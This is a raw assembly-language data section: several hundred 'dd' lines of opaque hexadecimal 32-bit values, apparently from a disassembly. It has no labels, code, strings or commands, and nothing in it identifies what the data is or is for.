dd 0C5C43F00h, 28D3A8C0h, 1830F285h, 684FF2E1h, 7B018A0Ah
dd 9E274449h, 81868E42h, 6163BD43h, 0A4FB5B1Fh, 6FBCA080h
dd 381CED49h, 0BF8051F5h, 358BB204h, 0B97F24C5h, 4EC86402h
dd 64F791C3h, 0B8E3F54Ch, 25E69F95h, 0C421BD97h, 0CCC4B4DAh
dd 3172C9B5h, 0F698C202h, 408D133Eh, 0E1A1B89h, 195954FCh
dd 7C7AD80h, 730011B1h, 8B89862Ah, 980284E7h, 7ABE1FE4h
dd 887DC08Eh, 59CED4D0h, 91A0CF00h, 6BA80BAFh, 43ACA863h
dd 0A1F0014h, 0D9789608h, 0A90094D4h, 0A17B5961h, 0EE9ACAF5h
dd 0EF84A888h, 0E7AA1D19h, 9E1AC27Eh, 2042417Bh, 15FAD069h
dd 2056C00h, 58716E58h, 852248CDh, 0F738604h, 3C907436h
dd 800BE90Ah, 1F14CA33h, 628C9455h, 76CA250h, 0B3E02151h
dd 3514221Ch, 9482910Fh, 3A5C4445h, 7A446043h, 2ECE588h
dd 782E38A7h, 5360F5F3h, 40008172h, 0D112F2E6h, 1488C9EEh
dd 740D9E98h, 0CC254300h, 0CD9BA2B1h, 0ADA70100h, 17998BCEh
dd 441939BDh
dd 0F57960B0h, 0B9582D92h, 0CE6D016Dh, 3409B62h, 409DEC60h
dd 8800AF8Bh, 166DD0B2h, 0C3E843h, 5C7BD3ECh, 4EF01BCCh
dd 36159804h, 40D266CEh, 99CD2077h, 0E87AD5FCh, 4C972502h
dd 0E054E91Bh, 0C0F0B728h, 0E22A63F1h, 0BC12550Ah, 0BC00EA21h
dd 77DD3ACFh, 0A4C35418h, 29A405BFh, 211FABC5h, 1192437Ch
dd 5180606Ah, 0F26BC1DFh, 4AFE8997h, 0FEC820DDh, 33CA862h
dd 833B96A6h, 0D5B07D5Eh, 0A12C7ECh, 0D05D72F0h, 0B71C909Eh
dd 0E7CD02Ah, 0BC2AB0A4h, 0C700A061h, 3FDF927Ah, 1E4C111Eh
dd 0E31F87h, 9D4284BBh, 0F712C5CCh, 0C229755h, 1F602511h
dd 1EFA405Ch, 4F1F3EC0h, 26008774h, 45772857h, 482C6533h
dd 384CB408h, 9039818Ch, 3344F051h, 80D538F4h, 96A1449Fh
dd 0C00701BDh, 0E828CC20h, 11013405h, 377224FBh, 642469E2h
dd 290F6B09h, 0A3150C90h, 0F9A2FE2Ch, 77DB9A02h, 9C7240DFh
dd 8CA132AFh, 684086D0h, 43808552h, 2C355871h, 0E225D680h
dd 380E8CDEh, 6F8D2A9Eh, 0E3032041h, 1C07CC0Ah, 35A3B1F7h
dd 0F50881D8h, 0B92A1011h, 0BE981935h, 0D817E189h, 9C0086F0h
dd 4DB536BAh, 15506ADh, 0F804EB96h, 2274DFD3h, 7CD50000h
dd 2915E8FEh, 8D5E00FBh, 0E043AAD0h, 5D0A6B1Fh, 0C0619952h
dd 45D81440h, 978A0079h, 0D2C9B7C0h, 0E10093A8h, 6B6EFB54h
dd 12063142h, 901B7A63h, 90ECA960h, 0E1B1E213h, 0AC70F434h
dd 8001750Ah, 0AF7D4230h, 97E5E60Ah, 0BD11E485h, 0FC0544Ch
dd 0D11DF7Ah, 0EEA348C2h, 8BCA0F91h, 0C288084h, 7162AAF6h
dd 9E2A6C00h, 21AEFA47h, 5B6B37A9h, 77DE0A9h, 884E1E93h
dd 4D72B827h, 0F47A35h, 6C967E6Fh, 13C0ECDDh, 0A3BDB500h
dd 0F9AF9DD3h, 20F0A641h, 901475AAh, 12861F7h, 761D6B8Bh
dd 10702681h, 91E09021h, 0DCBA002Ch, 5E4D0BB6h, 3A3E9300h
dd 0C3CFC51Bh, 0C2F72ACAh, 0C7F0A184h, 34646011h, 0B2587B08h
dd 507D0026h, 25CBF069h, 1F7C9Eh, 0EF158BF4h, 0C237E1D3h
dd 2238894Dh, 0D7E79h, 7C0BE860h, 0B0151238h, 9927B300h
dd 92FDFC56h, 945B0063h, 61795E1Fh, 720C7B89h, 9832B709h
dd 4D4486DAh, 1458B6h, 0B437E3C7h, 96DA5D55h, 759406F1h
dd 24430AC1h, 80B49FC8h, 0D197BD06h, 786174A0h, 0D2AE9249h
dd 3939E3C0h, 0F380DDA6h, 0A4441C4Ah, 0EC4A3212h, 7334F420h
dd 516700E3h, 464335E1h, 0CB009C0Fh, 4E17E93Ch, 90262F44h
dd 32550175h, 53E49718h, 3CB03099h, 0B6205CA4h, 764C0774h
dd 8CFD0726h, 24007B21h, 0AFEC486Ch, 0F8DD9B6h, 0C785290Fh
dd 99C597E7h, 63DBF880h, 0BF00C2BDh, 1129EC05h, 3084A71h
dd 0B1CECDD0h, 38A2DFDAh, 67FAC0E4h, 0C9988600h, 5F8724F7h
dd 9AC3B758h, 0AE8CD2BCh, 604FB896h, 31478842h, 246DC096h
dd 91163E88h, 5DF4204Fh, 7400338Eh, 0D35E4F7Ch, 14031D4h
dd 0E3AD8B07h, 0F49F7A1Fh, 420E5299h, 0E1F3AF34h, 748BB926h
dd 53A95285h, 2C6CC8ECh, 0BC4EF612h, 67BB6090h, 535400C8h
dd 0CF3C515Bh, 250EF235h, 428B9027h, 8443ABD1h, 21324BB8h
dd 0E7E8182Bh, 4CE500A3h, 0BB3FBE0Bh, 7600B5EDh, 0AD656BD9h
dd 9EAA841h, 369F945Eh, 0F66FD0C8h, 0BFEE1F16h, 10614409h
dd 3A9D68Ch, 464957B0h, 0DFE83494h, 7407828Bh, 16DE975Ah
dd 1AE1C827h, 0E3F04962h, 84A90090h, 2E2C4AC7h, 734D6D40h
dd 10B8CE2Ch, 9B72CF1Eh, 0D1C3C106h, 9600C8DDh, 10BA8200h
dd 31D608CAh, 0E224042Dh, 80612E37h, 95806828h, 0C66FF1C2h
dd 0AD007766h, 7A5AAE05h, 8C23A41Ch, 0CF46874Fh, 50D840F2h
dd 6585DE9Dh, 200B7856h, 0E3B1CF98h, 0BD13A899h, 0BA37E090h
dd 0CFCD0057h, 1EAE0195h, 1205440Ch, 0A0DAE26Dh, 24050BFFh
dd 29F7C487h, 9DB2C19h, 177BE839h, 945F143h, 0A1094C28h
dd 89537000h, 0C4002380h, 35B7B8A7h, 988FC9F6h, 9A1CA884h
dd 616B24B5h, 99FF4070h, 73036FA8h, 0EBD1495h, 437C0A52h
dd 87ACF10Fh, 2998202Fh, 81766306h, 0EE054375h, 0CF254259h
dd 2300ACE2h, 0B1AE03DDh, 2E00BF45h, 9D93E86Fh, 5C4CE56h
dd 5F63CD2Ch, 259032B7h, 0CDEA449h, 98588ADAh, 0AC9844h
dd 5D9CD556h, 64299B7Ah, 0B5F63B0Bh, 154CA29Dh, 800873B9h
dd 12EE0E4Fh, 0F2073BE7h, 98876223h, 205A7D0h, 856102CFh
dd 12C00832h, 8BF5DC82h, 0FB267721h, 618E8C3Ch, 7E978100h
dd 43005931h, 0EA46FE07h, 22C5D05h, 0B1D3CD3Bh, 0FC917B17h
dd 955E109Dh, 0AC0B0019h, 0B4E92557h, 0E7FE6D91h, 82DB801h
dd 988DD223h, 88BCA860h, 51DE243h, 1F045551h, 0B8B08E36h
dd 204024Ch, 8745B0E7h, 0CC4CDCCEh, 9DF44870h, 7715E0Bh
dd 2882CE0h, 0B6F7CB64h, 62EFB499h, 85EB805Ch, 0FE03EADDh
dd 517400F7h, 0E1543990h, 0C113D8A9h, 0C4046C8Bh, 9105690Eh
dd 48304405h, 0E024F1A2h, 0A02D6640h, 1920A36Bh, 1EA1C0A9h
dd 8EF8A16Eh, 0B689CB0Ch, 2A54DADAh, 1A067BDh, 4C801693h
dd 0F1E9D61Eh, 42D52014h, 6620E090h, 0D46B5259h, 6801993Dh
dd 7A115F9Eh, 0C9F8F351h, 9499B326h, 254DCE85h, 68C1D0C0h
dd 0BA90C8CDh, 0A9427064h, 28EBB01Eh, 35108F92h, 6AB4A921h
dd 0AA0F8C69h, 36206574h, 359C9754h, 0C72832F0h, 8E229868h
dd 0B80A5861h, 9919FCEh, 1AF23AC6h, 0E4488BB8h, 988C0068h
dd 0DB60D6D9h, 0E33D3EC3h, 9E190618h, 0A585163h, 7A1B776Ch
dd 530A42A4h, 0E616822Fh, 0D85361h, 0F9B0FFEFh, 303A0A25h
dd 34FC3044h, 4842924Eh, 0CF104CCBh, 929788D3h, 0BA4804C6h
dd 12B705B2h, 4C210E2h, 0B898B227h, 762F4F26h, 0F7201015h
dd 60CCC9B1h, 2CCE9C48h, 0E51549C5h, 0AF0598A2h, 5D666028h
dd 2C9BC094h, 0E5DBF446h, 0C00775ECh, 309AF6BCh, 8256C1B0h
dd 437C0213h, 0B3AEF00Ah, 0B6048459h, 10B36CC2h, 0E2D9007Dh
dd 8446EFEBh, 1A90CB6Bh, 10947F48h, 1E88E44Ah, 91F5D81h
dd 0F46CE7CCh, 111CA02Ch, 3CA73D62h, 5D5A9F9Bh, 7EC47A5Dh
dd 6488BC43h, 722E0C8h, 10F596Ah, 0AAA630C4h, 4E24CC79h
dd 9C6ADCA2h, 197A6404h, 8A9F9CA8h, 66C8CB08h, 4325312Eh
dd 0FF30A0BDh, 42614h, 3728AD5Fh, 74A81A67h, 0E4A7AE02h
dd 18BE5BD7h, 0E200BDBBh, 0EA306443h, 286D382h, 2FA1AEA0h
dd 2862B8F1h, 402069h, 0F89D8799h, 0A62E016Ah, 0DF184668h
dd 221C721Bh, 0AF77153Eh, 0EC40B084h, 1A0CA098h, 1712E907h
dd 0E1AD7881h, 2865ED37h, 7642A148h, 3098670Ch, 0B8899300h
dd 52390581h, 4BED3C58h, 8D2A9A80h, 1042241h, 0BC5A9105h
dd 5C84236Dh, 0C00BBCE0h, 0A6C98A71h, 37483543h, 0CD8980B0h
dd 122B7h, 0C7FD1234h, 73D15BC1h, 4F5490BAh, 50993B74h
dd 83DB1443h, 4AFBC811h, 945A0C2Ah, 96D8E816h, 9CFC5144h
dd 71D05374h, 92C21F2h, 7301B824h, 499233BDh, 0EC9EECh
dd 66F8951h, 0AE41CA88h, 4781200h, 0B7809F59h, 0E00A6B09h
dd 0B46C0CCh, 86D3E450h, 5C88534Ah, 80B754ADh, 90EC3DBFh
dd 4D1D7A01h, 321EB1CDh, 342A0820h, 0BBE98FB8h, 77EE7FA0h
dd 481EA042h, 2217C27Dh, 19E59800h, 920E3EAh, 84091DA9h
dd 92CFF023h, 285925E2h, 69A6E360h, 4E040109h, 92EE6DF2h
dd 0A3B990B0h, 0E4A85BC8h, 0E020634Bh, 0F26B9CDh, 273F58AEh
dd 0ECA2534Bh, 3827703Ah, 4271B590h, 0D6F9079Fh, 7003AC3Ch
dd 0ECB7EA7Eh, 88C6C500h
dd 0F62D9389h, 0E832954Eh, 32DFBC84h, 0E2902136h, 0B2341146h
dd 4243D980h, 7557BC7Dh, 945BE900h, 0AD1FEA4Ch, 245E2EFCh
dd 4D412CEh, 0B8AEE0Ch, 4CB49C64h, 304CD436h, 0B06FC4A0h
dd 62A82900h, 0E7ADBB70h, 647499C2h, 9E6C906Ah, 49D78943h
dd 0E856C080h, 21B8BA66h, 1B10E492h, 0DE6FE380h, 4F12F134h
dd 141D4BE2h, 50138829h, 0B17C8004h, 32C06414h, 0C69A8335h
dd 48B4D45Ch, 0AC41965Ch, 16F7CA28h, 22483852h, 46EF0B6h
dd 73425Fh, 9231D0FEh, 399F0417h, 0AC273685h, 6239BFh
dd 2E046FD2h, 0B50FAh, 759AD4FBh, 0CC6D7B58h, 84F6B119h
dd 0A0E02A49h, 30B974h, 4C5B6801h, 230042FFh, 0DDABD834h
dd 13976D5Dh, 80EEC62h, 0DABA6C40h, 2DC33802h, 0B4A12492h
dd 1D22B13Ch, 10A128Bh, 488404ABh, 154404A8h, 0DEC01414h
dd 8C04BD39h, 0BEB35700h, 0A664CDA3h, 0C522072Eh, 1B7CCAB2h
dd 6F40F0ECh, 9911CE66h, 0A54894E0h, 70002C75h, 9F8CD92Dh
dd 0B3ED9Ch, 0DA6625DDh, 3B0828FBh, 9C60D148h, 45E30861h
dd 140B344h, 5C122367h, 3B791500h, 0F6F0D4F8h, 0F4A6097Ch
dd 0D080A58Ah, 4E66461Fh, 0E66340B4h, 9D26884Ah, 0FB7EB1h
dd 4F4CF931h, 672950C7h, 0A0C0255Ch, 53377371h, 8122A86Bh
dd 0E440344Ah, 0D179FF88h, 3D1C003Ah, 0C711D332h, 0DC3E1E13h
dd 1050585Dh, 26264259h, 5D60008h, 0A270D011h, 28D4A197h
dd 1AF0C2CDh, 0E4530B4Fh, 9C04A90Dh, 6E14061h, 9C3980h
dd 193C3DB3h, 0CE9B1F56h, 4C91AB3Fh, 90348B38h, 7D4504h
dd 0A3C4D66Eh, 664ADD06h, 0E5BC3200h, 0A6F194ECh, 0AC0C07A4h
dd 709B5302h, 0D48FBD26h, 298A0748h, 5991C803h, 0F01F9A02h
dd 0E4448CC2h, 0B2077F4h, 97304A63h, 99C9CFA8h, 91371451h
dd 34811CC4h, 0B830672Ch, 0E3E80228h, 0C77AA806h, 402EBC98h
dd 0B40CF389h, 8788F8Ah, 0D06A1786h, 0E6D97050h, 20C45301h
dd 0FE7AEE24h, 8C69BC41h, 0E2561510h, 98866828h, 2C460924h
dd 1C5D2B50h, 4E4D9045h, 1A408639h, 733B70D5h, 540B7F0Eh
dd 9025CB29h, 95F82010h, 90CB6018h, 0D18E4C1Eh, 0A2541E00h
dd 7B9E4170h, 0E8B300D3h, 8638C537h, 0C1C40BB1h, 74D21363h
dd 1176199Ah, 202BE1B6h, 8B9E1BDCh, 0A45C664Ah, 60271AD1h
dd 1C2D9420h, 3D00AC04h, 0E6DC9B0Eh, 0A06B1A9Ah, 8822F0BCh
dd 38099835h, 455506E2h, 5B491E8h, 0AE0731EEh, 0D2677491h
dd 6A897A08h, 3B07B469h, 506CC019h, 9F565511h, 0AA3ADB00h
dd 0EF8C33F1h, 2678B021h, 0E09C505Ah, 0E04FC30Fh, 5C8FDE02h
dd 0E41E77CAh, 0ECB62978h, 0D0BD13F0h, 0B75B557Ch, 3156140Bh
dd 122C4E52h, 88B91876h, 4801C7CCh, 107EC346h, 94704CE0h
dd 211A420Bh, 1621123h, 0B39F4CFAh, 0CFD03854h, 68F50530h
dd 0A00E1FF6h, 1D2FB714h, 8BA01062h, 457301CAh, 356CECB8h
dd 0ADAC500Ah, 83043B2Ch, 0AC8AD54Bh, 950B00ABh, 96ABA3AFh
dd 0D8C58900h, 5E812CCh, 0BB441E5Ah, 0C42354E3h, 8043312h
dd 53649BC4h, 6D67A15Eh, 81683809h, 0A1C200A7h, 6B8C65ADh
dd 0DD001B9Ah, 0F0ACB328h, 0C27496Ch, 0BC1A1FE2h, 244E0548h
dd 0B1374028h, 34600008h, 2497690Dh, 0E7708900h, 5578B0E0h
dd 3BF90210h, 0D2643516h, 0D02F1848h, 90264484h, 0BC4BF024h
dd 0D643E544h, 7AF01872h, 7600192Ah, 0AC71FF12h, 26EDFDBh
dd 0C08D5D13h, 70734391h, 63882A90h, 0A09ACB80h, 1F8C5EEh
dd 4C925672h, 0F355F63Bh, 0CA6E380Bh, 43581A4Ah, 40C8BD78h
dd 1C8C01EBh, 18479991h, 88A8281Fh, 30514E24h, 0C715569Ah
dd 37580071h, 0B13FE757h, 912E2C3Eh, 0A0B14F4h, 1904C99Dh
dd 99731432h, 0EB130A60h, 832600F2h, 0D9906253h, 1298783Ah
dd 0C4203727h, 0DAD06CCh, 1E91A85Bh, 0AB85F089h, 2DB2251Fh
dd 207510F0h, 0AD76254Fh, 0CF06C91h, 74B08414h, 0CB256243h
dd 6507944Eh, 0E9EA072Eh, 68DB4230h, 61D6023Fh, 8610A457h
dd 0C30418E0h, 9E783380h, 0A46BE5E8h, 0CD031E30h, 3DA5FA48h
dd 9E18E88Fh, 1D970EFBh, 414035FDh, 76F7D4F6h, 6064F4B9h
dd 0DA03E4FDh, 9A1EA8DBh, 0E8834DB2h, 300A2EFDh, 0E868DC72h
dd 0BD86DF63h, 0F764488h, 883F8380h, 4053E3E0h, 80A13CB8h
dd 94210C7Ah, 0C8B4641Ch, 0DA1FB194h, 0E7C0B38Eh, 437B53C6h
dd 0C0275535h, 0CEC8DC01h, 0A860BEC5h, 4684BD0h, 21E48FC4h
dd 0C0492ED1h, 3FA07038h, 31020644h, 9422E45Fh, 401741C7h
dd 3ADA6FF4h, 4C931EBEh, 63E482BAh, 9A803C5Ch, 0B674FC41h
dd 479E003Dh, 783425B5h, 0A3008F56h, 9412AFFDh, 8BF215h
dd 6F20C65Bh, 18B8A268h, 3D956700h, 1ABB232Dh, 0B0771E32h
dd 46C5C05Bh, 0E2F9E5AAh, 668741BDh, 0B8BA0CE4h, 0D28F0D8Fh
dd 0E0605540h, 8DFDF5Fh, 6B69DB00h, 24D30825h, 0D4BFDAh
dd 8F4E7522h, 983037C5h, 2F8941BDh, 6B8300A5h, 0D1BC4818h
dd 78005CD3h, 0E05771E8h, 0CEDDA1h, 1E94EDEBh, 0AEC4FC6Eh
dd 0FAE6EF00h, 5186E97Ch, 1C0D1846h, 18D850C8h, 0E10ECC02h
dd 88B954EDh, 0D8080BFh, 0D2E78036h, 559F0EA5h, 0CF636C0Eh
dd 4890AD8Eh, 0B3074504h, 99365BCCh, 0CBA14Ch, 3001DAA1h
dd 8A4EEB1Ch, 29B40700h, 1033A77Fh, 0A24639EEh, 0DBA0F800h
dd 70FAE712h, 10104CA9h, 0A94CF1C3h, 36892F94h, 0D80D6E6h
dd 49CD6612h, 570730E6h, 0DD1FB94Dh, 4AA893h, 0DEF6A31h
dd 6FE39A28h, 0CB795700h, 0EEFB2CFEh, 0F207020Eh, 50C99902h
dd 4A85E800h, 0F97A6369h, 0BF901929h, 2200FC84h, 7D09891Ch
dd 6499E1D9h, 3744B0C6h, 606849BCh, 2194414Ch, 790052A6h
dd 4E07A510h, 565C37Bh, 2D0EC220h, 0DCB407EEh, 97D5F47Ah
dd 5257D100h, 0BA40AC51h, 1C19B118h, 0E0ACAB65h, 0C13A5C0h
dd 0B07DF9D3h, 39224520h, 6DC00A1h, 2AAF9EA4h, 4C31C344h
dd 45A85155h, 0BC0F3180h, 0D59FA679h, 0C5A15800h, 9B9D788Bh
dd 0F95606D2h, 0D8BFCA4Fh, 59CB5530h, 1C2880C3h, 0E6658830h
dd 48221Eh, 1FD920ADh, 9FE40E1Ch, 0D2BA7206h, 717165C4h
dd 0DC450630h, 39A25646h, 0DC829D2Ah, 0CB54A102h, 90C27ACDh
dd 62EF84h, 0CCF1380h, 299AD172h, 0A63B3824h, 0FD539D3Fh
dd 84FE4D03h, 0EDF008A0h, 94912B58h, 31FF7A1Eh, 8FCA9851h
dd 0A3701279h, 0F82AD713h, 19DCFDF5h, 4059359Ch, 76B891B0h
dd 1205F28h, 0E9A0C07Fh, 0C8D2B4F5h, 0BE070793h, 55F986DAh
dd 0F070B916h, 57A788E3h, 0AD54EFFAh, 40A03AA4h, 10924468h
dd 1CCD6E48h, 691EFBEEh, 0A920CA18h, 0C3281D11h, 67C9F023h
dd 9300A2D0h, 0C0F3DFB0h, 5019A414h, 88987859h, 0B9C041A8h
dd 0AF7F0CF0h, 1511012Dh, 4F565FE7h, 584BE2D1h, 0EC4CC288h
dd 0B2B92283h, 8ED8B302h, 90B04A9Ch, 4015FB88h, 0C31A30B1h
dd 4039C54Dh, 0C0DC31ADh, 0DBC4C0D9h, 38C0D72Ah, 59DE6310h
dd 87FD16E5h, 616B007Eh, 6F110B30h, 4AF12801h, 0D10E413Fh
dd 8ED24184h, 0BA88C842h, 0A0B2188h, 85B69187h, 0DFF510F4h
dd 5C1F4CA2h, 4A259D08h, 0E7190F18h, 948A00DEh, 381901D4h
dd 8C549C69h, 7214F5B4h, 80F058BCh, 8899B74Bh, 0F1EE0074h
dd 0A77BA894h, 0AC240E11h, 6456898h, 8C45844Fh, 2AC3B9B9h
dd 7BC47AEh, 6BA62DCBh, 0DF79C039h, 260E86A4h, 814EA191h
dd 0C11131B2h, 87F29441h, 0A0106207h, 57C7A8A0h, 6972F47Ah
dd 0C0991973h, 9B260900h
dd 0FC0DEEA1h, 30200054h, 31679493h, 9E012C29h, 0A2D2F18Fh
dd 0F030ED48h, 11448674h, 34D150D2h, 4D5513ABh, 9824FDh
dd 0F28BB660h, 0AC3F69C8h, 88E080F1h, 0C3BB944Bh, 589A1540h
dd 0CA0098DCh, 0E5F0F5F3h, 0EA03AA62h, 0C8719D5Ah, 6B1BD8FBh
dd 13C1FE3Ch, 34651EFAh, 0FC5C80B0h, 4F0CC373h, 915AFBD3h
dd 0C126248Dh, 0F0E9146Ch, 7A8693C8h, 2479B4DBh, 404056C2h
dd 0A13B4013h, 11F6A788h, 1CC62DBh, 30B394EEh, 0A4507569h
dd 0E77DC4Fh, 0E553D6C0h, 0A980ACAh, 61C0D2FCh, 32AEC5A2h
dd 204B01ACh, 5478DEC4h, 421CF830h, 0C81F15EAh, 87EE103Ch
dd 5A4EC39Fh, 38AA6773h, 0C4989044h, 0C0D3DD04h, 0F88A0166h
dd 29D09918h, 0C900C49Dh, 839AE76h, 706B02A3h, 904D5C06h
dd 0C94E026h, 985905A5h, 0D2398460h, 1CCA9C59h, 0E6204E99h
dd 50B40DCh, 0A30262F2h, 0B10EC1F6h, 77944978h, 6D138C50h
dd 0BA88073Ah, 0B763EDF1h, 0ECA04F95h, 0B7CC6B5Ah, 0C09C8948h
dd 0C348BE8Ah, 441C98A2h, 0FA0CEFFDh, 207F9373h, 571A0F31h
dd 9C404512h, 0BF993067h, 0E2CA91C7h, 0E8477D73h, 147BBBh
dd 9B8EA6Ch, 871899Fh, 0F659240Ch, 5C107077h, 0DC05B4D3h
dd 73AF462h, 8875B584h, 68020391h, 0B02EF955h, 8831D0A4h
dd 0A819DB0Ch, 37C0A324h, 20005073h, 397D44EAh, 9D003B30h
dd 17381B36h, 301EC47Fh, 6929D699h, 34009077h, 8148539Ch
dd 986142Ch, 43AEF4A5h, 19C01C20h, 1100CF3Ah, 9351842h
dd 79406B5Bh, 5CD44C32h, 88C98610h, 2E678081h, 976E7231h
dd 6BF1BE1Dh, 45DD9201h, 0D8301168h, 872908CDh, 0E4265051h
dd 0EC61840h, 98447FEBh, 798D3AD0h, 0D584540h, 66C381B0h
dd 0A44C3A58h, 0B15B60F9h, 4A9132DEh, 54C32B0Ch, 371590Ch
dd 65354697h, 60820E12h, 66FB7C68h, 0F61D3h, 0F631D857h
dd 11389A4Dh, 118729F0h, 4711C6E4h, 0C15F124Bh, 0A031144Ch
dd 532A03B4h, 0E70692F9h, 69A045D0h, 0B164BF90h, 208037E0h
dd 689103h, 120E25E0h, 385B144Fh, 895CC873h, 8E059E8Ch
dd 188858BEh, 2A4FC2Ch, 0D34D2F31h, 0DC618D57h, 5AB118Fh
dd 0A423F8F1h, 0C239FB30h, 5158574Ah, 40BCA288h, 2A3B642Ch
dd 64C9F4h, 0A1051048h, 0C6EB81B4h, 0D915A900h, 0E8654FDCh
dd 0BCBA00C4h, 83796FF9h, 0AE06ECAh, 0F109FA74h, 8E47CEh
dd 59B453A5h, 0B36406C5h, 189B09D9h, 1200FD76h, 0B2B77CA5h
dd 7C947624h, 4CC50B8Fh, 805DD53Ch, 1655893h, 0CAB8031Ah
dd 0CDA158Ah, 0C6795AD0h, 2F3A3300h, 0A4BE95C5h, 586463FFh
dd 49008D12h, 0B4D69A59h, 78C044h, 98069E76h, 3513E5F7h
dd 0F18E90C3h, 0A93901F6h, 0E30794A4h, 6C67209Fh, 2B8F5E0Fh
dd 0E551F878h, 39576010h, 7A302A70h, 88802E60h, 6D27869h
dd 0E5B0DAB3h, 3522318Ch, 0FAF13722h, 0ABE6C069h, 1B006C38h
dd 34793EBFh, 5CB44Ch, 0EB29E2BAh, 93F2C62Bh, 8098E63Dh
dd 52965BE3h, 51ABFCh, 7DBBC867h, 1BA9466Fh, 17C7D700h
dd 5A229115h, 0FC560018h, 514011A1h, 1006AF5h, 0D16BA20Ah
dd 288B2CBEh, 4480C724h, 0F2EC5823h, 33989663h, 87CBAh
dd 0CE98BED0h, 0C337EFD9h, 0E9387474h, 3956B01Bh, 0C80F8D1h
dd 0A0721936h, 49008AFEh, 0D5F7E75Ch, 9006C215h, 85D10704h
dd 0C33C9190h, 86D83843h, 52098084h, 11AB6AF4h, 0D009D20Ch
dd 2C6110E4h, 998A2B69h, 0D489C50h, 0E412069Bh, 300A5913h
dd 1D6C2B15h, 0C6C41EB8h, 0A9452A00h, 88966D24h, 0BCE17FFBh
dd 4B2E7431h, 0C8224F40h, 38015AF8h, 0BC5E6242h, 29B620D5h
dd 0AE005968h, 0EA0EE8BDh, 5F5D32h, 3AB36CE5h, 89D35CBFh
dd 0C13C4B77h, 438E1F64h, 11BC3D0Ch, 9D130056h, 7759CCF6h
dd 8E0155DEh, 0D965FBC0h, 0A74080F0h, 0E268BBC9h, 40A306BDh
dd 68BC0146h, 0D84E5A03h, 0C2E39D10h, 44244426h, 0E5609AFEh
dd 3A7D057Ch, 0C8778ACh, 5FAD4CFAh, 8B00CFF0h, 53835874h
dd 0C59375h, 0A61D073h, 494068A0h, 56E20C00h, 0D7BC8D21h
dd 5895614Eh, 50B61BF4h, 2F666ECCh, 470FEF00h, 7F6D9692h
dd 32E41408h, 272A4898h, 97900098h, 0FDD27F29h, 850019C3h
dd 0B97E144Dh, 6E165EBh, 0F16F2DF2h, 0AA00C1F3h, 0F61E9E09h
dd 1CBCF5h, 4C96FA15h, 2E8E940Dh, 0DA29EC60h, 73B5BA2h
dd 726FC698h, 733AF084h, 7100DE78h, 0A750CD8Fh, 52C4F725h
dd 56009496h, 55AC5387h, 0B279E343h, 36479E00h, 0A5499067h
dd 199300F5h, 0F98F7AFEh, 6924D6F4h, 41354C1Fh, 6D4F4401h
dd 40237F2Bh, 9F1F6057h, 8A03208Dh, 89736DAAh, 0BC881334h
dd 0E02C278Fh, 0D2903C4Bh, 5B016DF0h, 2B6FC4E1h, 0F88AA7BCh
dd 309DFA13h, 0BDB3EB79h, 27E3412Ch, 2836EE00h, 18454D3Ch
dd 0F8A49C04h, 791269D8h, 580A24F8h, 6583DC3Bh, 3F2797F6h
dd 9B007E49h, 140D0799h, 0D2004158h, 4E5CDE8Fh, 0F722343Dh
dd 0E0A46EC9h, 155A4058h, 2D7C753Bh, 0A00D783Dh, 4AD1078Fh
dd 0B0FBDA4Eh, 0EF1996BBh, 0F7828B01h, 0F82F636Fh, 0FB70F830h
dd 0C5E38980h, 0A3D88B58h, 0C311D900h, 7A6D8D6Eh, 0C0614C33h
dd 20F3B11h, 0BDB0D570h, 0FC844D2h, 24C2922Ah, 339925ACh
dd 4F074891h, 8F20E583h, 67D995h, 0B0EA0521h, 557346B2h
dd 68272E24h, 6124960Ch, 2C5860C7h, 903025D8h, 8FA97F07h
dd 9ED01E3Ah, 6F1253A8h, 0F50069EBh, 0AFC609B6h, 5295EE00h
dd 0A86BB049h, 91FA03D6h, 0F4F2C293h, 8CCBA900h, 0D3995C21h
dd 0E01307ECh, 5774E2A6h, 7588011Dh, 0C47C3495h, 910E9730h
dd 8366DAh, 0F5D5DF05h, 2CFCD8F6h, 29EC3913h, 0D1063A0Ch
dd 3C714824h, 78704383h, 0D39FC18Dh, 0FE81BBF0h, 2A08F307h
dd 0F4B04D15h, 99583767h, 51C240A8h, 0F06042CAh, 60F45958h
dd 9529C633h, 0F800990Dh, 7D92B5A0h, 0C15C22h, 0E7DF876Bh
dd 458FD40Ah, 0E60D1807h, 5B110FB0h, 21C4F1CFh, 7F79C4h
dd 56440E4Ch, 65748670h, 87255038h, 768712B1h, 83241039h
dd 286301D1h, 0A301028Ah, 0F62DF895h, 353C5376h, 0B6B4009Dh
dd 32983738h, 0CAF72AFDh, 2E0D1C08h, 6C4006Fh, 7B89AFD1h
dd 0CF4F9400h, 18D96E83h, 7CE4ABE7h, 6C9151h, 0F4741E73h
dd 5964BF69h, 944053F9h, 1DFABC4Bh, 50EE3648h, 0B0C0D121h
dd 0A8299FC2h, 0C8B85017h, 51F4657Fh, 0C868C833h, 73D50F0Fh
dd 87E18B85h, 80CE1D5Ch, 51F453AAh, 6109AB9h, 0E5FC8F6Eh
dd 8E2E390Ch, 0F7605479h, 13052EC9h, 59E1B8h, 0CFF63910h
dd 47005DF3h, 2487F940h, 6213E685h, 25F14134h, 7DCBF0A0h
dd 0BF00D960h, 0EDD5664Eh, 700A2BC4h, 0A6670070h, 44F35ABAh
dd 0C1C1B613h, 85D61297h, 17F66434h, 315A0FE5h, 72837708h
dd 0B41D39C4h, 0E437D096h, 1E80EB0h, 899104F0h, 0C819A1C4h
dd 2A4CC9BCh, 5D5200D0h, 0AF4E769Fh, 0B8B1043Bh, 0C7194BFBh
dd 8ABF361h, 3C2CD12Ah, 4361D465h, 20F0D082h, 4F98548Ah
dd 683D83Ch, 159C89CEh, 0F1661811h, 1B429F8h, 0BA102F00h
dd 0ADDBAC32h, 0F2A30BB0h, 6C229A5Eh, 9524BD5Ch, 3D18C888h
dd 7D9744h, 0EC9D049Ah, 0A4EA6D7Dh, 87502498h, 1134E5ECh
dd 38403165h, 2355A5DDh, 33FC00DAh, 0E778933Ch, 40043B7Ah
dd 188B2B68h, 0E9801888h, 69307700h, 26AAD800h, 377A4DCFh
dd 82E90735h, 0DFE1D1D0h, 22557821h, 1480A639h, 0BE548401h
dd 90601C14h, 0FC5E513Bh
dd 6767F5E8h, 6ED1B5h, 9E8715BCh, 707F7301h, 0AE557D8Fh
dd 60338C60h, 0A61A81B9h, 46005311h, 0FD286920h, 0B0656F4Ah
dd 966C1104h, 164F058Eh, 0E0D72669h, 0BA1124AAh, 0AB668F00h
dd 2CD51FFFh, 0B9F84600h, 14BCF987h, 0C5E4001Dh, 0CAF429FCh
